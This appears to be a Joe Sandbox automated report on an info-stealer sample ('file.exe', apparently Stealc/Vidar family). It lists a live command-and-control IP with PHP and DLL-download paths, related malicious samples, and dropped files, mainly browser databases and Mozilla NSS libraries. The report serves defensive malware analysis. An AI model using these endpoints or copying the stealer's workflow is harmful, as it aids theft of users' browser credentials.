http://193.233.113.184/6d687e53250c2111.php.X	RegAsm.exe, 00000003.00000002.1872094493.00000000277A2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	RegAsm.exe, 00000003.00000002.1850148614.0000000001550000.00000004.00000020.00020000.00000000.sdmp, HJJKJJDH.3.dr	false	URL Reputation: safe	unknown
http://193.233.113.184/6d687e53250c2111.phpion:	RegAsm.exe, 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.233.113.184/6d687e53250c2111.php6X	RegAsm.exe, 00000003.00000002.1872094493.00000000277A2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.233.113.184/6d687e53250c2111.php:V	RegAsm.exe, 00000003.00000002.1850148614.00000000014EA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	RegAsm.exe, 00000003.00000002.1872094493.00000000277A2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1850148614.0000000001550000.00000004.00000020.00020000.00000000.sdmp, BGHIIJDGHCBFIECBKEGH.3.dr	false	Avira URL Cloud: safe	unknown
http://193.233.113.184/53e0491f34ea3a8a/vcruntime140.dllb	RegAsm.exe, 00000003.00000002.1850148614.0000000001550000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.sqlite.org/copyright.html.	RegAsm.exe, 00000003.00000002.1862393851.000000001B714000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1877380009.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.mozilla.com/en-US/blocklist/	RegAsm.exe, RegAsm.exe, 00000003.00000002.1877795074.000000006C3CD000.00000002.00000001.01000000.00000009.sdmp, mozglue[1].dll.3.dr, mozglue.dll.3.dr	false	Avira URL Cloud: safe	unknown
https://mozilla.org0/	nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	false	URL Reputation: safe	unknown
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	RegAsm.exe, 00000003.00000002.1872094493.00000000277A2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1850148614.0000000001550000.00000004.00000020.00020000.00000000.sdmp, BGHIIJDGHCBFIECBKEGH.3.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	RegAsm.exe, 00000003.00000002.1850148614.0000000001550000.00000004.00000020.00020000.00000000.sdmp, HJJKJJDH.3.dr	false	Avira URL Cloud: safe	unknown
http://193.233.113.184/53e0491f34ea3a8a/vcruntime140.dllR	RegAsm.exe, 00000003.00000002.1850148614.0000000001550000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.233.113.184IEH	RegAsm.exe, 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	RegAsm.exe, 00000003.00000002.1850148614.0000000001550000.00000004.00000020.00020000.00000000.sdmp, HJJKJJDH.3.dr	false	URL Reputation: safe	unknown
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	RegAsm.exe, 00000003.00000002.1872094493.00000000277A2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1850148614.0000000001550000.00000004.00000020.00020000.00000000.sdmp, BGHIIJDGHCBFIECBKEGH.3.dr	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	RegAsm.exe, 00000003.00000002.1850148614.0000000001550000.00000004.00000020.00020000.00000000.sdmp, HJJKJJDH.3.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	DBGHJEBKJEGHJKECAAKJKEGIIE.3.dr	false	URL Reputation: safe	unknown
http://193.233.113.184/6d687e53250c2111.phprowser	RegAsm.exe, 00000003.00000002.1850148614.0000000001550000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.233.113.184/6d687e53250c2111.phpN	RegAsm.exe, 00000003.00000002.1850148614.0000000001550000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	RegAsm.exe, 00000003.00000002.1850148614.0000000001550000.00000004.00000020.00020000.00000000.sdmp, HJJKJJDH.3.dr	false	URL Reputation: safe	unknown
http://193.233.113.184/6d687e53250c2111.phpH	RegAsm.exe, 00000003.00000002.1850148614.0000000001550000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.233.113.184/6d687e53250c2111.phpfY	RegAsm.exe, 00000003.00000002.1872094493.00000000277A2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.233.113.184	RegAsm.exe, 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1850148614.00000000014EA000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	RegAsm.exe, 00000003.00000002.1872094493.00000000277A2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1850148614.0000000001550000.00000004.00000020.00020000.00000000.sdmp, BGHIIJDGHCBFIECBKEGH.3.dr	false	URL Reputation: safe	unknown
http://193.233.113.184/6d687e53250c2111.php-fulluser-l1-1-0q	RegAsm.exe, 00000003.00000002.1850148614.000000000152F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.233.113.184/6d687e53250c2111.phpam	RegAsm.exe, 00000003.00000002.1850148614.0000000001550000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.2	RegAsm.exe, 00000003.00000002.1850148614.0000000001550000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.233.113.184/6d687e53250c2111.phpzY	RegAsm.exe, 00000003.00000002.1872094493.00000000277A2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.233.113.184/6d687e53250c2111.phpAB(	RegAsm.exe, 00000003.00000002.1850148614.0000000001550000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.233.113.184/6d687e53250c2111.phpIIJDGHCBFIECBKEGH	RegAsm.exe, 00000003.00000002.1850148614.000000000152F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org	DBGHJEBKJEGHJKECAAKJKEGIIE.3.dr	false	URL Reputation: safe	unknown
http://193.233.113.184/6d687e53250c2111.php6	RegAsm.exe, 00000003.00000002.1850148614.000000000152F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.233.113.184/6d687e53250c2111.php~X	RegAsm.exe, 00000003.00000002.1872094493.00000000277A2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	RegAsm.exe, 00000003.00000002.1850148614.0000000001550000.00000004.00000020.00020000.00000000.sdmp, HJJKJJDH.3.dr	false	URL Reputation: safe	unknown
http://193.233.113.184/6d687e53250c2111.php-	RegAsm.exe, 00000003.00000002.1850148614.000000000152F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.233.113.184	unknown	Russian Federation		20549	FREE-MPEIRU	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1517223
Start date and time:	2024-09-24 21:29:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 50s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@6/24@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 85 Number of non-executed functions: 207
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
FREE-MPEIRU	SecuriteInfo.com.Trojan.Crypt.23519.13317.exe	Get hash	malicious	Unknown	Browse	193.233.121.52
	file.exe	Get hash	malicious	DCRat	Browse	193.233.115.185
	BitTorrent-7.6.exe	Get hash	malicious	Unknown	Browse	193.233.122.71
	https://test.ambasenegal-pl.com/base.php?c=17&key=66bf6845dbd8f0d53e07b779f6ab8f38	Get hash	malicious	Unknown	Browse	193.233.84.115
	https://test.ambasenegal-pl.com/base.php?c=17&key=66bf6845dbd8f0d53e07b779f6ab8f38	Get hash	malicious	Phisher	Browse	193.233.84.115
	https://vpnassdsd1.blob.core.windows.net/vpnassdsd1/unsD.html#9-FFJWW/11-9623-VPOIK/746-001437-16337	Get hash	malicious	Unknown	Browse	193.233.84.175
	https://ramandan.blob.core.windows.net/ramandan/1.html#15/117-4966/926-74892-11463-	Get hash	malicious	Phisher	Browse	193.233.84.175
	http://z69p5gc0nk570ejit1fq6apix.ndsgfsjgffsnj.homes/4fdVxq8477PoaJ379hnzhvayyao8624EOSKQEYSWPRERBU64SNSB1959860q24	Get hash	malicious	Phisher	Browse	193.233.84.88
	https://podlkfidjf.blob.core.windows.net/podlkfidjf/Useemailmanagementtools.html#15/43-4757/934-1153896-11463	Get hash	malicious	Phisher	Browse	193.233.84.175
	https://f2fhw43mml5z.br-gru-1.linodeobjects.com/f2fhw43mml5z/1.html#14/43-4703/931-67456-11420	Get hash	malicious	Phisher	Browse	193.233.84.175

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Amadey, CryptOne, PureLog Stealer, RedLine, Stealc, Vidar, Zhark RAT	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\BAEHIEBGHDAFIEBGIEHJECGCGC

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BGHIIJDGHCBFIECBKEGH

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9571
Entropy (8bit):	5.536643647658967
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KKkfGNBw8DJSl:yegqumcwQ0
MD5:	5D8E5D85E880FB2D153275FCBE9DA6E5
SHA1:	72332A8A92B77A8B1E3AA00893D73FC2704B0D13
SHA-256:	50490DC0D0A953FA7D5E06105FE9676CDB9B49C399688068541B19DD911B90F9
SHA-512:	57441B4CCBA58F557E08AAA0918D1F9AC36D0AF6F6EB3D3C561DA7953ED156E89857FFB829305F65D220AE1075BC825F131D732B589B5844C82CA90B53AAF4EE
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\CBAKEBGI

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DBGHJEBKJEGHJKECAAKJKEGIIE

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DGHIDHCAAKECGCBFIJDBAAFBGH

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EGHJKFHJJJKJJJJKEHCB

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HJJKJJDH

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IEHDBGDHDAECBGDHJKFI

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
